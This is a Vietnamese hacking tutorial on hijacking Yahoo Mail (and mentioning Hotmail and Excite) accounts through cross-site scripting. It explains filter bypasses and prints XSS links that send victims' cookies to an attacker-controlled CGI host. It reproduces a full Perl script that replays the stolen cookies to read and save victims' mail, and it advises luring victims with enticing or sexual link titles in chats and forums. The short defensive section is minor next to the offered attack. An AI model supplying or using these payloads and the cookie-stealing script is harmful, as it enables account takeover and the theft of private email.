Hack Yahoo Mail thông qua lỗi XSS

trang này đã được đọc lần

I - Tổng quát

Đối với Hotmail và Yahoo mail , việc chèn vào trong nội dung email gửi đến 1 đọan mã Javascript hiểm độc hay 1 đọan Html để thực thi 1 tác vụ nào đó thì đã hòan tòan có thể làm được ! Có nhiều vết nứt trong bộ lọc những Mã Nguy Hiểm của các webmails này, và lỗi Cross Site Scripting có thể ứng dụng 1 cáh trực quan vào vấn đề này....Khi 1 đọan mã Html đã được chạy ( qua con đường click lên hình ảnh , frame hay chỉ đơn giản là di chuyển chuột băng ngang ...) , nó có thể xóa email của bạn, gọi 1 lọai bỏ email hay ăn cắp thành phần của webmail mà bạn đang duyệt để rồi tạo cơ hội cho Kẻ Thứ Ba đăng nhập vào mailbox đó mà ko cần biết về username và password ( Vì hắn đã có cookie - Nếu bạn ko biết cookie là gì thì hãy tìm hiểu hơn về chúng www.shacker.computed.net ).
Thêm 1 vấn đề nữa là , Yahoo Mail có 1 lỗi khá là ngộ nếu nói theo cách lạc quan , là vài thành phần trong mailbox của bạn có thể bị thay đổi không lường trước được mà không cần dùng đến bất kỳ lệnh JavaScript nào. Vấn đề này xem ra cũng mắc phải đối với 1 số trang web thư điện tử khác.

II - Tự bảo vệ chính mình
Từ khi kiểu lỗi bảo mật này ra đời và cứ 6 tháng 1 năm lại xuất hiện 1 lỗ hổng mới thì người dùng chúng ta có thể tự nói rằng vấn đề an ninh trong các webmails đối với phần Client không an tòan chút nào, cho dù
vài web cá biệt đã sữa chúng kịp thời đi nữa...Vì vậy , để an tòan cho chính mình , bạn nên Vô hiệu hóa Javascript , bỏ phần cho phép tự động tải hình ảnh - dã man cho nhân lọai IT hơn nữa là dẹp , không hình ảnh gì hết , hay trong các webmail thì bạn nên để Tùy chọn xem mail bằng văn bản - ko theo định dạng Html vì khi đó các đọan mã đã được và có thể chạy ngay khi bạn sơ ý hay vô tình. Đừng tin tưởng vào bất kỳ link nào trong email nhận được cho dù đã biết site đó có thể tin tưởng...

III - Phân tích lỗi :

a/ Lỗ hổng trong bộ lọc của Yahoo Mail dành cho thẻ HREF :

Mấy ai biết được và cũng không ngờ được bộ lọc mã nguy hiểm của yahoo lại có lỗ hổng trong phần quản lý các giá trị phân phối trong thẻ HREF của Html.
Câu lệnh 'target="_blank" được dán sau thẻ HREF của thể được hòa lẫn thành 1 tác vụ bằng cách thêm vào ký tự ">". Trò mẹo khá nguy hiểm được anh bạn Mark Slemko đăng trên vuln-dev từ nhữngthàng đầu năm 2000. Tóm lại bạn có hiểu được những phần trên ko ? Nghĩa là giống như link đó mở ra 1 trang mới đồng thời khởi chạy đọan mã JavaScript nằm ẩn trong nó. Vì những giá trị hiểm độc của Javascript trong thẻ HREF thì chưa được lọc qua như Silvery Hat Hacker đã nói lúc đầu. Tui cũng không hiểu dzì sao Yahoo lại bỏ qua vụ này...Nói trên lý thuyết thì có thể bạn ko hiểu rõ hay còn mập mờ , vậy ta xét qua đọan code sau :

<a href="javascript:...">link</a>
sẽ trở thành
<a href="javascript:..." target="_blank">link</a>
=> Đọan mã này vô hại bạn àh...
NHƯNG
<a href="javascript:..." foo="bar>link</a>
trở thành
<a href="javascript:..." foo="bar target="_blank">link</a>
thì ko còn bình thường nữa đâu. Hãy xem xét kỹ bạn sẽ nhận ra.

b/ 2 lệnh Get và Post :

Trong chúng ta thường lướt thông qua hộp mail bằng cách click trên Forms - Lệnh Post. Điều này hòan tòan bình thường. Nhưng nếu tham số Get được thay thế và đó thì Yahoo không thể biết được sự khác biệt và chấp nhận điều này. Vấn đề này không fải là 1 mối nguy hại khi nó đứng 1 mình nhưng khi kết hợp với code khác thì chính nó sẽ làm cho các Đọan Mã Có Khả Năng Gây Hại họat động dễ dàng hơn. Bạn xem 2 phân tích bên dưới sẽ hiểu được tại sao

c) Cross Site Scripting :

Cross Site Scripting được biết đến 6 tháng trước đây bởi mparcenshushmail.com , đăng trên Bugtraq. Nó cho phép 1 lệnh JavaScript có thể ăn cắp cookie của người dùng và gửi qua Internet đến nơi nhận , rồi sau đó có hacker có thể lấy quyền đăng nhập vào mailbox đó cho dù biết pasword hay là ko.
Tuim đã tìm thấy được nhiều trang bị lỗi này trong gia đình tên miền xxx.yahoo.com.
Thí dụ , trong tên miền mail.yahoo.com , Trang gửi mail và trang tạo chữ ký không mã hóa những ký tự đặc biệt của mã HTML trong phần nội dung. Vì vậy , hacker có thể gửi đi thông tin mà trong đó có cái gì đó giống cái này : "param=</textarea><script>đọan mã nguy hiểm</script>".
Đọan mã nguy hiểm có thể là ăn cắp cookie hay thay đổi mailbox nếu người nhận đến cũng dùng yahoomail...
Tuy nhưng , những lỗi này cũng còn fải chờ user click lên để thi hành. Nhưng nếu link đó gửi đến trang Yahoo.com thì ít ai để ý đến đọan script nằm trong đó.

d) Tự động thay đổi mailbox :

Không fải là khó khăn để mà thực hiện thay đổi mailbox thông qua việc gửi dữ liệu đến 1 đường dẫn biết trước. Không cần bất kỳ đọan mã riêng biệt nào , nhờ 2 tác vụ Post và Get , nên Xóa tất cả message , thùng rác hay reply lại địa chỉ nào đó thì hòan tòan có thể xảy ra mà không nhờ đến JavaScript hay sự ảnh hưởng của chủ nhân.

IV - Kết :
Tóm lại , những lỗ hổng trên có thể được khai thác theo sơ đồ sau :
- Người dùng đọc email bị đính kèm đọan mã <img src="http://us.f405.mail.yahoo.com/ym/Preferences?foo=bar_with_css_javascript">
-Vì đọan Javascript được ưu tiên đặt trong B - Tác vụ Get và Post với D - Gửi dữ liệu đến 1 đường dẫn biết trước , ở đây là
http://us.f405.mail.yahoo.com/ym/Preferences? nên người dùng không gặp cảnh báo nào. Nhưng đây có thể là bước khó nhất hay không bao giờ xảy ra , người dùng fải mởi trang Preferences thì JavaScript mới bắt đầu chạy.
-JavaScript chạy , cho coi 1 trang nhập password lại ( giả ).
-Mật khẩu bị ăn cắp và gửi đí , người dùng ko hay biết gì và được chuyển tiếp tới trang Preferences...

Vấn đề cần giải quyết ở đây là tìm ra lỗi bảo mật XSS của 1 trong số nhiều dịch vụ kể trên để tự bản thân server của dịch vụ đó hiến dâng cookie của người dùng đang thao tác với nó đến cho nhân vật thứ 3 , là những hacker.

VI - Tiến trình :
Tài liệu này có nói đến cả hack Msn và Excite nhưng vì đa số người dùng sử dụng Yahoomail nên tui rút ngắn bài viết và chỉ chú trọng đến Yahoo mail.
Dịch vụ thư điện tử của Yahoo dựa trên mail + tên miền chính có dạng như sau xxx.mail.com , vì vậy 1 lỗi XSS trên trên bất kỳ tên miền nào có dạng xxx.yahoo.com đều gửi cookie của mailserver đến tay tin tặc.
1 lỗi ví dụ về XSS đó mã login trên trang login.europe.yahoo.com. Đọan mã XSS này đã bị lọc ra những ký tự cấm < và %3C nên nó đã trở nên vô dụng đối với mấy tay Chemical Hacker ( tham khảo bài Hiểu rõ kẻ địch - của ai đó tui wên tên rồi ) nhưng nếu có kiên nhẫn tìm hiểu thì bạn sẽ nhận ra rằng trong Yahoo cũng sử dụng CÙNG 1 đọan mã như vậy để phân tích từng vùng thể hiện 1 bức email có hình ảnh trong cửa sổ của nó. Và hơn nữa , Yahoo cũng fải lấy tên của bức ảnh ( vd như mubac.gif ) và đường dẫn tới nó thì mới hiện được hình ảnh. Cho nên ta rút ra được đều này :
-Yahoo cấm các đọan mã chứa < và %3C được thể hiện 1 cách lộ liễu cho bộ lọc thấy ( 1 )
-Yahoo cũng fải sử dụng đến < và %3C để có thể phân tích và thể hiện 1 hình ảnh được lồng vào email - như cách thể hiện bản tin của download.com , pcworld.com , thư của yahoo.com....đến người dùng => Yahoo ko lọc ký tự < và %3C trong trường hợp này. ( 2 )
Từ (1) và (2) => Yahoo có lỗ hổng bảo mật nằm ở phần Image. Tương tự như vậy , bạn có thể suy nghĩ thêm về vấn đề canh lề và phân tích sự hiện diện của FRAME trong email. Nghĩ thử xem Yahoo cũng sẽ dùng đến ký tự gì....
Cuối cùng , đọan mã XSS có thể là :

http://login.europe.yahoo.com/config/login?.intl=frx" onerror="plof:window.open('http://host/cgi-bn/rompigema.pl?'+document.referrer+' '+document.cookie)">&.src=ym&.done=

Tất nhiên theo thời gian lỗi này có thể được fix nhưng bạn fải nhanh nhạy trong việc hack mà tìm ra được phương thức mới dựa trên 1 dạng lỗi đang phổ biến hiện nay Cross Site Scripting. Nhưng đều ấy , sửa 1 lỗi XSS cũng ko fải chuyện dễ mà lại tốn rất nhiều thời gian. Hơn nữa , bạn ah , có bao giờ bạn nghĩ lỗi XSS trên webmail này , có bao giờ , có bao giờ liên quan đến webmail khác ko ?

VII - Khai thác lỗi - Exploit :

Lỗi XSS này là 1 dạng khác với đọan mã mà bạn được đọc ở bài viết trước - nó không sử dụng đến mục Preferences mới kích họat mà dựa ngay vào cú bấm chuột ngọan mục của nạn nhân :

<a href="http://login.europe.yahoo.com/config/login?.intl=frx%22%20onerror=%22plof:window.open('http://hos/cgi-bin/rompigema.pl?'%2Bdocument.cookie)%22%3E&.src=ym&.done=">Tựa đề link</a>

Nhìn sơ qua link trên , bạn có nghe thấy nó nói gì ko ?
Thứ nhất là onerror - lệnh trả về khi mở 1 cái link tầm bầy - dễ hiểu hơn là cái link chết thì nó sẽ chuyển đến
http://hos/cgi-bin/rompigema.pl
Thứ nhì -
http://hos/cgi-bin/rompigema.pl , cái này ko đơn giản fải ko bạn. Nói đến nó sau
Thứ ba - Tựa đề link , không mấy quan trọng , nhưng đặt sao cho hay hay để victim click vào. Đáng tiếc mà nói 1 điều là những gì hay hay thường bị dụ click vào lại có liên quan đến sex...

Bây giờ ta trở về phần thứ nhì. Bạn thấy tên file giống cái dạng nào ko ? Đúng vậy - viết từ Perl. Và người dùng thì hòan tòan tin tưởng vào sự bảo mật của webmail mình nên ko có chi là lo ngọai khi nhìn qua link trước khi click. Đọan mã Perl ở trong tập tin rompigema.pl có nhiệm vụ ăn cắp mật khẩu của nạn nhân gửi đến 1 trang web nào đó...Nếu đọc mã nguồn kỹ thì bạn sẽ nhận ra và nên thay đổi nó đến ngay điểm dừng cuối mà bạn muốn. Sau khi xong bạn upload nó lên 1 website hỗ trợ CGI và sửa phần
http://hos/cgi-bin/rompigema.pl trong link XSS thành đúng với link của bạn.

Đây là code của Rompigema.pl,  bạn có thể thay đổi nó tùy vào khả năng của mình ( như đổi địa chỉ nhận được password chẳng hạn ) :

----------------------
Rompigema.pl:
----------------------

#!/usr/bin/perl
#
# Multiple XSS/Cookie Problems
# Proof Of Concept
# N|ghtHawk
# nighthawk_at_hackers4hackers.org

use IO::Socket;

# OPTIONS
# 1. See Frontpage
# 2. See Inbox
# 3. Read An E-Mail
# 4. Only save Cookie
$option = "3";

# PATH
$path = "/tmp/mirrors/";

$cookie = "$ENV{QUERY_STRING}\;";
$cookie =~ s/%20/ /g;

if ($cookie =~ /http:\/\/(.*mail\.(.*)\..*com)(\/[^ ]* )(.*)/) {
$host = $1;
$type = $2;
$req = $3;
$cookie = $4;
if ($req =~ /ArdSI=(.*)&ArdSI=/) {
$ardsi = $1;
}
}

if (!$cookie || !$host) { &no_cookie; }

%msn = (
1 => "/cgi-bin/hmhome",
2 => "/cgi-bin/HoTMaiL?curmbox=F000000001",
filt => "<a *href=\"\/(cgi-bin\/getmsg\?.*)\">",
name => "class=[^ ]*\">(.*@hotmail.com)<"
);

%yahoo = (
1 => "/ym/Welcome?order=down&sort=date&pos=0",
2 => "/ym/us/ShowFolder?box=Inbox&order=down&sort=date&pos=0",
filt => "\/(ym\/ShowLetter?.*)\">",
name => "<b>.* (.*\@yahoo.com)<\/b>"
);

%excite = (
1 => "\/splash.php?ArdSI=$ardsi&ArdSI=$ardsi",
2 => "\/folder_msglist.php?t=0&m=0&ArdSI=$ardsi&in=1",
filt => "(msg_read.php?[^>]*)'",
name => "<b>Hi (.*)!<\/b>"
);

$req = "$$type{2}";
if ($option == "1") { $req = "$$type{1}"; }

$data = request($host, $req);

if ($option == "3") {
@datar = split(/\n/,$data);
foreach $line (@datar) {
if ($line =~ /$$type{filt}/) {
$req = "/$1";
}
}
$data = request($host, $req);
}

&out($data);

sub out {
my ($data) = @_;
@datar = split(/\n/,$data);
foreach $line (@datar) {
if ($line =~ /$$type{name}/) {
$name = $1;
}
}
if ($option == 4) {
$data = "$name\n$cookie\n";
$name = "cookies";
}
open(FILE,">>$path$name.html");
print FILE "$data\n";
close(FILE);
print "Content-type: text/html\n";
print "Location:
http://www.dwheeler.com/secure-programs/".
"Secure-Programs-HOWTO.html\n\n";
}

sub request {
my ($host, $req) = @_;
$sock = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$host",
PeerPort => "80",
Timeout => 30) || die "Could not create socket: $!\n";
print $sock "GET $req HTTP/1.0\n".
"Host: $host\n".
"Accept: image/gif, image/x-xbitmap, */*\n".
"Accept-Language: nl\n".
"User-Agent: Pr00fOfConcept/1.0 \n".
"Connection: Keep-Alive\n".
"Cookie: $cookie\n\n";
sleep(4);
recv($sock,$data,200000,0);
close($sock);
return $data;
}

sub no_cookie {
print "content-type: text/html\n\n";
print "<h1>No Cookie or Referrer found</h1>\n";
exit;
}

Cuối cùng , đầy là 1 số cơ hội cho bạn dùng đến link trên :
-Khi chat bằng Yahoo Messenger , Msn Messenger
-Đặt vào trang web mà bị lỗi XSS
-Những forum , guestbook có bị lọc không tốt